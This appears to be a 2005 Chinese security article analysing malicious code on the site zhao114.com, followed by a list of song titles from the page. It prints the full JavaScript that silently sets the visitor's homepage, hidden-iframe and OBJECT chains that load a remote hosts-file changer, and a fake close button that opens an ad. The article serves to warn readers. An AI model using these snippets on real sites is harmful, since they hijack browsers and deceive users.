当前位置:首页>>软件教程>>病毒安全>>新闻内容  
恶意网站zhao114代码的剖析
作者:曾登高 发布时间:2005-4-13 11:29:52 | 【字体:

  早就听说了某些网站的恶意代码,没想到愚人节让我碰上一回,一个朋友说道zhao114.com怎么火爆,我就好奇看了眼,简单的网址站,但是弹出另外的网页,开始没大在意,后来发现,这个网站居然修改默认主页、修改Hosts文件、添加桌面,另外还使用一些页面欺骗的手法。好奇之下就分析了一下他的源码,列出如下,请大家小心了:

1) IE防止不住弹出窗口的方法

该网站无数次采用

<iframe src="网址" width="0" height="0" frameborder="no" border="0" marginwidth="0" marginheight="0" scrolling="no"></iframe>

的方式弹出新窗口,包含广告和病毒代码。

2) 不提示设置首页弹出一个js文件(setmyhome.js)

主要代码是下面的sethome()函数

<!--
function GetCookie (name) {
var arg = name + "=";
var alen = arg.length;
var clen = document.cookie.length;
var i = 0;
while (i < clen) {
var j = i + alen;
if (document.cookie.substring(i, j) == arg)
return getCookieVal (j);
i = document.cookie.indexOf(" ", i) + 1;
if (i == 0) break;
}
return null;
}

function SetCookie (name, value) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
document.cookie = name + "=" + escape (value) +
((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
((path == null) ? "" : ("; path=" + path)) +
((domain == null) ? "" : ("; domain=" + domain)) +
((secure == true) ? "; secure" : "");
}

function DeleteCookie (name) {
var exp = new Date();
exp.setTime (exp.getTime() - 1);
// This cookie is history
var cval = 0;
document.cookie = name + "=" + cval + "; expires=" + exp.toGMTString();
}

//设置cookies时间,自己根据情况设置。
var expDays = 1;//这里设为 1 天
var exp = new Date();
exp.setTime(exp.getTime() + (expDays*24*60*60*1000));

function amt(){
var count = GetCookie('count'); //同一ip只显示一次
//var count;//同一ip只显示N次
//alert(count);
//count = null;
if(count == null) {
SetCookie('count','1')
return 1
}
else{
var newcount = parseInt(count) + 1;
if(newcount<2) count=1;
SetCookie('count',newcount,exp);
//DeleteCookie('count')
return newcount
}
}

function getCookieVal(offset) {
var endstr = document.cookie.indexOf (";", offset);
if (endstr == -1)
endstr = document.cookie.length;
return unescape(document.cookie.substring(offset, endstr));
}

function sethome(){
document.links[0].style.behavior='url(#default#homepage)';
document.links[0].setHomePage('http://www.zhao114.com');
}

if(amt()==1)
{
sethome()
}
//-->

3) 强行修改hosts文件(in yan88.htm)
<script src="../ads/banner.js"></script>
(in banner.htm)
<IFRAME border=0 marginWidth=0 marginHeight=0 src="banner_files/wo.htm" frameBorder=no width=0 scrolling=no height=0></IFRAME>
(in wo.htm)
<OBJECT height=0 width=0 data=http://www.ni8.cn/set/setdns.chtm></OBJECT>
(in setdns.chtm)
这就是代码

4) 页面欺骗页面右边出现一个浮动广告,告诉别人有短消息,点X位置不是关闭,反而使点击广告了(中计)。

代码如下:

<SPAN title=关闭 style="FONT-WEIGHT: bold; FONT-SIZE: 12px; CURSOR: hand; COLOR: red; MARGIN-RIGHT: 4px"
onclick="javascript:closeDiv();window.open('http://www.zhao114.com/v.htm')">×</SPAN>

另外,他添加桌面的方式我就没有时间研究了,留给有兴趣的朋友,不过研究之前千万小心,最好先GHOST一个备份。感染了的朋友,可以到3721下载一个上网助手2005迅速解决问题。


文章来源:163
 放生
 愚爱
 够爱
 触电
 白狐
 葬爱
 光荣
 画心
 火花
 稻香
 小酒窝
 下雨天
 右手边
 安静了
 魔杰座
 你不像她
 边做边爱
 擦肩而过
 我的答铃
 怀念过去
 等一分钟
 放手去爱
 冰河时代
 你的承诺
 自由飞翔
 原谅我一次
 吻的太逼真
 左眼皮跳跳
 做你的爱人
 一定要爱你
 飞向别人的床
 爱上别人的人
 感动天感动地
 心在跳情在烧
 玫瑰花的葬礼
 有没有人告诉你
 即使知道要见面
 爱上你是一个错
 最后一次的温柔
 爱上你是我的错
 怎么会狠心伤害我
 不是因为寂寞才想
 亲爱的那不是爱情
 难道爱一个人有错
 寂寞的时候说爱我